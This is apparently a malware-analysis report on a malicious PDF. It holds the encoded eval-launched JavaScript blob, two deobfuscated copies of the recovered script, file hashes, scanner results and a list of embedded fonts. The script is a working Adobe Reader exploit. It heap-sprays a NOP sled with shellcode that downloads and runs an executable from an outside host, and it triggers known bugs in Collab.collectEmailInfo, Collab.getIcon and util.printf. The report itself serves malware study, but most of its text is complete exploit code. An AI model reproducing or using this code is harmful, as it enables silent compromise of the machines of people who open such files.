klMjAlMmYlMjAlNjQlNzAlNzIlNDMlMzAlNGYlMzUlNDQlNjYlM2IlMjAlMjAlMjAlMjAlMjAlNjYlNmYlNzIlMjglNzYlNjElNzIlMjAlNmElMzklNjIlNTElNjYlNTElNDglNzMlNjElMjAlM2QlMjAlMzAlM2IlMjAlNmElMzklNjIlNTElNjYlNTElNDglNzMlNjElMjAlM2MlMjAlNzMlNjMlMzclNDclNzMlNTIlNDglNzElNjklM2IlMjAlNmElMzklNjIlNTElNjYlNTElNDglNzMlNjElMmIlMmIlMjklMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNTklMzUlMzclMzclNDklNGQlMzclNDklMzElNWIlNmElMzklNjIlNTElNjYlNTElNDglNzMlNjElNWQlMjAlM2QlMjAlNzclNjQlNGMlNTMlNDUlNTElNWElNGIlNjklMjAlMmIlMjAlNjIlNGMlMzIlNzklNDclNWElNDklNzQlNWElM2IlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlN2QlMjAlMjAiKSk7ICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNTklNzclNmUlNGMlNTclNTIlNmIlNzAlNzUlMjglMjklMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzglNDIlNzYlNTAlMzQlNTklNTYlNGElNTElMjAlM2QlMjAlMzAlM2IlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNmIlNjIlNDglNjYlNTMlNTElNDclNzMlMzYlMjAlM2QlMjAlNjElNzAlNzAlMmUlNzYlNjklNjUlNzclNjUlNzIlNTYlNjUlNzIlNzMlNjklNmYlNmUlMmUlNzQlNmYlNTMlNzQlNzIlNjklNmUlNjclMjglMjklM2IlMjAlMjAlMjAlMjAlMjAlNjElNzAlNzAlMmUlNjMlNmMlNjUlNjElNzIlNTQlNjklNmQlNjUlNGYlNzUlNzQlMjglNTclNjQlNDYlNjklMzMlNmElNzYlNjIlNjglMjklM2IlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglMjglNmIlNjIlNDglNjYlNTMlNTElNDclNzMlMzYlMjAlM2UlM2QlMjAlMzglMjAlMjYlMjYlMjAlNmIlNjIlNDglNjYlNTMlNTElNDclNzMlMzYlMjAlM2MlMjAlMzglMmUlMzElMzAlMzIlMjklMjAlN2MlN2MlMjAlNmIlNjIlNDglNjYlNTMlNTElNDclNzMlMzYlMjAlM2MlMjAlMzclMmUlMzElMjklMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNTIlNTklNGElNjMlN2ElNDUlNzYlNDglNjclMjglMzAlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjIlNDElNzklNDglNzElNzYlMzYlNDMlNTIlMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlMzAlNjMlMzAlNjMlMjUlNzUlMzAlNjMlMzAlNjMlMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNjIlNDElNzklNDglNzElNzYlMzYlNDMlNTIlMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlM2MlMjAlMzQlMzQlMzklMzUlMzIlMjklMjAlNjIlNDElNzklNDglNzElNzYlMzYlNDMlNTIlMjAlMmIlM2QlMjAlNjIlNDElNzklNDglNzElNzYlMzYlNDMlNTIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzYlNzglNDclNTElNTElNTMlNGQlNzAlNTYlMjAlM2QlMjAlNzQlNjglNjklNzMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDMlNGMlNzAlNGMlNDklNTElNjMlNzglNzMlMjAlM2QlMjAlNDMlNmYlNmMlNmMlNjElNjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNzglNDclNTElNTElNTMlNGQlNzAlNTYlNWIlMjIlNjMlNmYlNmMlNmMlNjElNjIlNTMlNzQlNmYlNzIlNjUlMjIlNWQlMjAlM2QlMjAlNDMlNGMlNzAlNGMlNDklNTElNjMlNzglNzMlNWIlMjIlNjMlNmYlNmMlNmMlNjUlNjMlNzQlNDUlNmQlNjElNjklNmMlNDklNmUlNjYlNmYlMjIlNWQlMjglMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNzUlNjIlNmElMjAlM2ElMjAlMjIlMjIlMmMlMjAlNmQlNzMlNjclMjAlM2ElMjAlNjIlNDElNzklNDglNzElNzYlMzYlNDMlNTIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjklM2IlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglMjglNmIlNjIlNDglNjYlNTMlNTElNDclNzMlMzYlMjAlM2UlM2QlMjAlMzglMmUlMzElMzAlMzIlMjAlMjYlMjYlMjAlNmIlNjIlNDglNjYlNTMlNTElNDclNzMlMzYlMjAlM2MlMjAlMzglMmUlMzElMzAlMzQlMjklMjAlN2MlN2MlMjAlMjglNmIlNjIlNDglNjYlNTMlNTElNDclNzMlMzYlMjAlM2UlM2QlMjAlMzklMjAlMjYlMjYlMjAlNmIlNjIlNDglNjYlNTMlNTElNDclNzMlMzYlMjAlM2MlMjAlMzklMmUlMzElMjklMjAlN2MlN2MlMjAlNmIlNjIlNDglNjYlNTMlNTElNDclNzMlMzYlMjAlM2MlM2QlMjAlMzclMmUlMzElMzAlMzElMjklMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzQlNzIlNzklMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNjElNzAlNzAlMmUlNjQlNmYlNjMlMmUlNDMlNmYlNmMlNmMlNjElNjIlMmUlNjclNjUlNzQlNDklNjMlNmYlNmUlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNTIlNTklNGElNjMlN2ElNDUlNzYlNDglNjclMjglMzIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDIlNDUlNmMlMzklNzYlNzYlMzclNDMlNmQlMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlMzAlMzklMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNDIlNDUlNmMlMzklNzYlNzYlMzclNDMlNmQlMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlM2MlMjAlMzAlNzglMzQlMzAlMzAlMzAlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNDIlNDUlNmMlMzklNzYlNzYlMzclNDMlNmQlMjAlMmIlM2QlMjAlNDIlNDUlNmMlMzklNzYlNzYlMzclNDMlNmQlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNDIlNDUlNmMlMzklNzYlNzYlMzclNDMlNmQlMjAlM2QlMjAlMjIlNGUlMmUlMjIlMjAlMmIlMjAlNDIlNDUlNmMlMzklNzYlNzYlMzclNDMlNmQlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNGElNDglNzklNTMlNmYlNzclNjklNDUlNGQlMjAlM2QlMjAlNjElNzAlNzAlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNGElNDglNzklNTMlNmYlNzclNjklNDUlNGQlNWIlMjIlNjQlNmYlNjMlMjIlNWQlNWIlMjIlNDMlNmYlNmMlNmMlNjElNjIlMjIlNWQlNWIlMjIlNjclNjUlNzQlNDklNjMlNmYlNmUlMjIlNWQlMjglNDIlNDUlNmMlMzklNzYlNzYlMzclNDMlNmQlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzglNDIlNzYlNTAlMzQlNTklNTYlNGElNTElMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzglNDIlNzYlNTAlMzQlNTklNTYlNGElNTElMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNjElNzQlNjMlNjglMjglNjUlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzglNDIlNzYlNTAlMzQlNTklNTYlNGElNTElMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNzglNDIlNzYlNTAlMzQlNTklNTYlNGElNTElMjAlM2QlM2QlMjAlMzElMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNmIlNjIlNDglNjYlNTMlNTElNDclNzMlMzYlMjAlM2QlM2QlMjAlMzglMmUlMzElMzAlMzIlMjAlN2MlN2MlMjAlNmIlNjIlNDglNjYlNTMlNTElNDclNzMlMzYlMjAlM2QlM2QlMjAlMzclMmUlMzElMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNTIlNTklNGElNjMlN2ElNDUlNzYlNDglNjclMjglMzElMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzclNjIlNDMlNjclNTYlNTglNTYlNzElNzElMjAlM2QlMjAlMjIlMzElMzIlMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjYlNmYlNzIlMjglNjElNTQlNmUlNmYlNTclMzMlNWElNjUlNzglMjAlM2QlMjAlMzAlM2IlMjAlNjElNTQlNmUlNmYlNTclMzMlNWElNjUlNzglMjAlM2MlMjAlMzIlMzclMzYlM2IlMjAlNjElNTQlNmUlNmYlNTclMzMlNWElNjUlNzglMmIlMmIlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjIlNDMlNjclNTYlNTglNTYlNzElNzElMjAlMmIlM2QlMjAlMjIlMzglMjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNGIlNmIlNDElNDglNmQlNTMlNDclNDUlNDclMjAlM2QlMjAlNzUlNzQlNjklNmMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNGIlNmIlNDElNDglNmQlNTMlNDclNDUlNDclNWIlMjIlNzAlNzIlNjklNmUlNzQlNjYlMjIlNWQlMjglMjIlMjUlMzQlMzUlMzAlMzAlMzAlNjYlMjIlMmMlMjAlNzclNjIlNDMlNjclNTYlNTglNTYlNzElNzElMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlN2QlMjAlMjAiKSk7IA0KIGFwcC5ReFZaOTdtcGMgPSBZd25MV1JrcHU7DQogV2RGaTNqdmJoID0gYXBwLnNldFRpbWVPdXQoImFwcC5ReFZaOTdtcGMoKSIsIDEpOw0K");
var sssddd = eval;
sssddd(aasd);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 18 at offset 0xDEDA 5114 bytes
SHA-256: 9fea5a499cf9352c0b4dedc88893a6c3d91c287f83295a03ac4f65ce09b939f4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var Y577IM7I1 = new Array();
 var WdFi3jvbh;
 var lave = eval;
  lave(unescape("   function luJIROFBj(wdLSEQZKi, vQ2vufBci)   {     while(wdLSEQZKi.length * 2 < vQ2vufBci)     {       wdLSEQZKi += wdLSEQZKi;     }     wdLSEQZKi = wdLSEQZKi.substring(0, vQ2vufBci / 2);     return wdLSEQZKi;   }  "));  lave(unescape("    function RYJczEvHg(rXr5GVPjj)   {     if(rXr5GVPjj == 0)     {       var NI5YEUaAO = 0x0c0c0c0c;       var bL2yGZItZ =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7275%u7272%u6E2E%u7465%u332F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");     }     else if(rXr5GVPjj == 1)     {       NI5YEUaAO = 0x30303030;       var bL2yGZItZ =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7275%u7272%u6E2E%u7465%u332F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");     }     else if(rXr5GVPjj == 2)     {       var bL2yGZItZ =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7275%u7272%u6E2E%u7465%u332F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");     }     var dprC0O5Df = 0x400000;     var sdPITiM2w = bL2yGZItZ.length * 2;     var vQ2vufBci = dprC0O5Df - (sdPITiM2w + 0x38);     var wdLSEQZKi = unescape("%u9090%u9090");     wdLSEQZKi = luJIROFBj(wdLSEQZKi, vQ2vufBci);     var sc7GsRHqi = (NI5YEUaAO - 0x400000) / dprC0O5Df;     for(var j9bQfQHsa = 0; j9bQfQHsa < sc7GsRHqi; j9bQfQHsa++)     {       Y577IM7I1[j9bQfQHsa] = wdLSEQZKi + bL2yGZItZ;     }   }  "));  lave(unescape("   function YwnLWRkpu()   {     var xBvP4YVJQ = 0;     var kbHfSQGs6 = app.viewerVersion.toString();     app.clearTimeOut(WdFi3jvbh);     if((kbHfSQGs6 >= 8 && kbHfSQGs6 < 8.102) || kbHfSQGs6 < 7.1)     {       RYJczEvHg(0);       var bAyHqv6CR = unescape("%u0c0c%u0c0c");       while(bAyHqv6CR.length < 44952) bAyHqv6CR += bAyHqv6CR;       var vxGQQSMpV = this;       var CLpLIQcxs = Collab;       vxGQQSMpV["collabStore"] = CLpLIQcxs["collectEmailInfo"](       {         subj : "", msg : bAyHqv6CR       }       );     }     if((kbHfSQGs6 >= 8.102 && kbHfSQGs6 < 8.104) || (kbHfSQGs6 >= 9 && kbHfSQGs6 < 9.1) || kbHfSQGs6 <= 7.101)     {       try       {         if(app.doc.Collab.getIcon)         {           RYJczEvHg(2);           var BEl9vv7Cm = unescape("%09");           while(BEl9vv7Cm.length < 0x4000)           {             BEl9vv7Cm += BEl9vv7Cm;           }           BEl9vv7Cm = "N." + BEl9vv7Cm;           var JHySowiEM = app;           JHySowiEM["doc"]["Collab"]["getIcon"](BEl9vv7Cm);           xBvP4YVJQ = 1;         }         else         {           xBvP4YVJQ = 1;         }       }       catch(e)       {         xBvP4YVJQ = 1;       }       if(xBvP4YVJQ == 1)       {         if(kbHfSQGs6 == 8.102 || kbHfSQGs6 == 7.1)         {           RYJczEvHg(1);           var wbCgVXVqq = "12999999999999999999";           for(aTnoW3Zex = 0; aTnoW3Zex < 276; aTnoW3Zex++)           {             wbCgVXVqq += "8";           }           var KkAHmSGEG = util;           KkAHmSGEG["printf"]("%45000f", wbCgVXVqq);         }       }     }  }  ")); 
 app.QxVZ97mpc = YwnLWRkpu;
 WdFi3jvbh = app.setTimeOut("app.QxVZ97mpc()", 1);
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode -> percent-decode from JavaScript object 18 at offset 0xDEDA 5110 bytes
SHA-256: d2d21e51e393a2bde559c17fd3e6f7b3eb87cd25b2e54afb07646af9cf88bfeb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var Y577IM7I1 = new Array();
 var WdFi3jvbh;
 var lave = eval;
  lave(unescape("   function luJIROFBj(wdLSEQZKi, vQ2vufBci)   {     while(wdLSEQZKi.length * 2 < vQ2vufBci)     {       wdLSEQZKi += wdLSEQZKi;     }     wdLSEQZKi = wdLSEQZKi.substring(0, vQ2vufBci / 2);     return wdLSEQZKi;   }  "));  lave(unescape("    function RYJczEvHg(rXr5GVPjj)   {     if(rXr5GVPjj == 0)     {       var NI5YEUaAO = 0x0c0c0c0c;       var bL2yGZItZ =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7275%u7272%u6E2E%u7465%u332F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");     }     else if(rXr5GVPjj == 1)     {       NI5YEUaAO = 0x30303030;       var bL2yGZItZ =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7275%u7272%u6E2E%u7465%u332F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");     }     else if(rXr5GVPjj == 2)     {       var bL2yGZItZ =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7275%u7272%u6E2E%u7465%u332F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");     }     var dprC0O5Df = 0x400000;     var sdPITiM2w = bL2yGZItZ.length * 2;     var vQ2vufBci = dprC0O5Df - (sdPITiM2w + 0x38);     var wdLSEQZKi = unescape("%u9090%u9090");     wdLSEQZKi = luJIROFBj(wdLSEQZKi, vQ2vufBci);     var sc7GsRHqi = (NI5YEUaAO - 0x400000) / dprC0O5Df;     for(var j9bQfQHsa = 0; j9bQfQHsa < sc7GsRHqi; j9bQfQHsa++)     {       Y577IM7I1[j9bQfQHsa] = wdLSEQZKi + bL2yGZItZ;     }   }  "));  lave(unescape("   function YwnLWRkpu()   {     var xBvP4YVJQ = 0;     var kbHfSQGs6 = app.viewerVersion.toString();     app.clearTimeOut(WdFi3jvbh);     if((kbHfSQGs6 >= 8 && kbHfSQGs6 < 8.102) || kbHfSQGs6 < 7.1)     {       RYJczEvHg(0);       var bAyHqv6CR = unescape("%u0c0c%u0c0c");       while(bAyHqv6CR.length < 44952) bAyHqv6CR += bAyHqv6CR;       var vxGQQSMpV = this;       var CLpLIQcxs = Collab;       vxGQQSMpV["collabStore"] = CLpLIQcxs["collectEmailInfo"](       {         subj : "", msg : bAyHqv6CR       }       );     }     if((kbHfSQGs6 >= 8.102 && kbHfSQGs6 < 8.104) || (kbHfSQGs6 >= 9 && kbHfSQGs6 < 9.1) || kbHfSQGs6 <= 7.101)     {       try       {         if(app.doc.Collab.getIcon)         {           RYJczEvHg(2);           var BEl9vv7Cm = unescape("	");           while(BEl9vv7Cm.length < 0x4000)           {             BEl9vv7Cm += BEl9vv7Cm;           }           BEl9vv7Cm = "N." + BEl9vv7Cm;           var JHySowiEM = app;           JHySowiEM["doc"]["Collab"]["getIcon"](BEl9vv7Cm);           xBvP4YVJQ = 1;         }         else         {           xBvP4YVJQ = 1;         }       }       catch(e)       {         xBvP4YVJQ = 1;       }       if(xBvP4YVJQ == 1)       {         if(kbHfSQGs6 == 8.102 || kbHfSQGs6 == 7.1)         {           RYJczEvHg(1);           var wbCgVXVqq = "12999999999999999999";           for(aTnoW3Zex = 0; aTnoW3Zex < 276; aTnoW3Zex++)           {             wbCgVXVqq += "8";           }           var KkAHmSGEG = util;           KkAHmSGEG["printf"]("E000f", wbCgVXVqq);         }       }     }  }  ")); 
 app.QxVZ97mpc = YwnLWRkpu;
 WdFi3jvbh = app.setTimeOut("app.QxVZ97mpc()", 1);
icc_00_off00000c0e.icc pdf-icc-profile PDF ICC profile at offset 0xC0E 3144 bytes
SHA-256: 2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e
font_00_cff_off0000faaf.bin pdf-font-stream PDF embedded font (cff) at offset 0xFAAF 1390 bytes
SHA-256: b7acc2e77938f52ea0e0e99ad276600cacf4c9a68f9966b0cff658984fc5fdfe
font_01_cff_off000103e6.bin pdf-font-stream PDF embedded font (cff) at offset 0x103E6 5979 bytes
SHA-256: 650743b0083f4117eafe6d934f210cd07b94d118b25ed99f041916d1b6f42ac7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.40, consistent with packed or encrypted content.
font_02_cff_off00011e70.bin pdf-font-stream PDF embedded font (cff) at offset 0x11E70 6612 bytes
SHA-256: cf4944c56c01f4a65c36b5010c12128ca3ddbe0e6806e8b147a7b04453bfa751
font_03_cff_off00013984.bin pdf-font-stream PDF embedded font (cff) at offset 0x13984 3369 bytes
SHA-256: eb7fc9a0f6b5c973d758c18668889ef5241421e8108bf894a9400ecd0930c40c
font_04_cff_off00014900.bin pdf-font-stream PDF embedded font (cff) at offset 0x14900 2026 bytes
SHA-256: 498107d4b463cdfaabb7ecb0de303a1fd3753cd0475826d8151726b62a86cbb1
font_05_cff_off00015422.bin pdf-font-stream PDF embedded font (cff) at offset 0x15422 1370 bytes
SHA-256: 6b20e84459271e0cdfae9863860320d5b0fe24a40f52c5aa56fd600bf142e820
font_06_cff_off00015ef6.bin pdf-font-stream PDF embedded font (cff) at offset 0x15EF6 3996 bytes
SHA-256: c5675bd2f2b586cbf48ee24f95e1cf91eec1b4928c28c92220efce9ec4db3e29
font_07_sfnt_off00017ea6.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x17EA6 52108 bytes
SHA-256: 80383e85181b7288bd3f68d71356b7e2ef2e1f0ba00d93e81908469c104a18d9
font_08_sfnt_off0002058e.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x2058E 48764 bytes
SHA-256: 336a7a084a76c025a84d5a8cbd6080db9a267cde0e24fe672acabed56b19aa8d
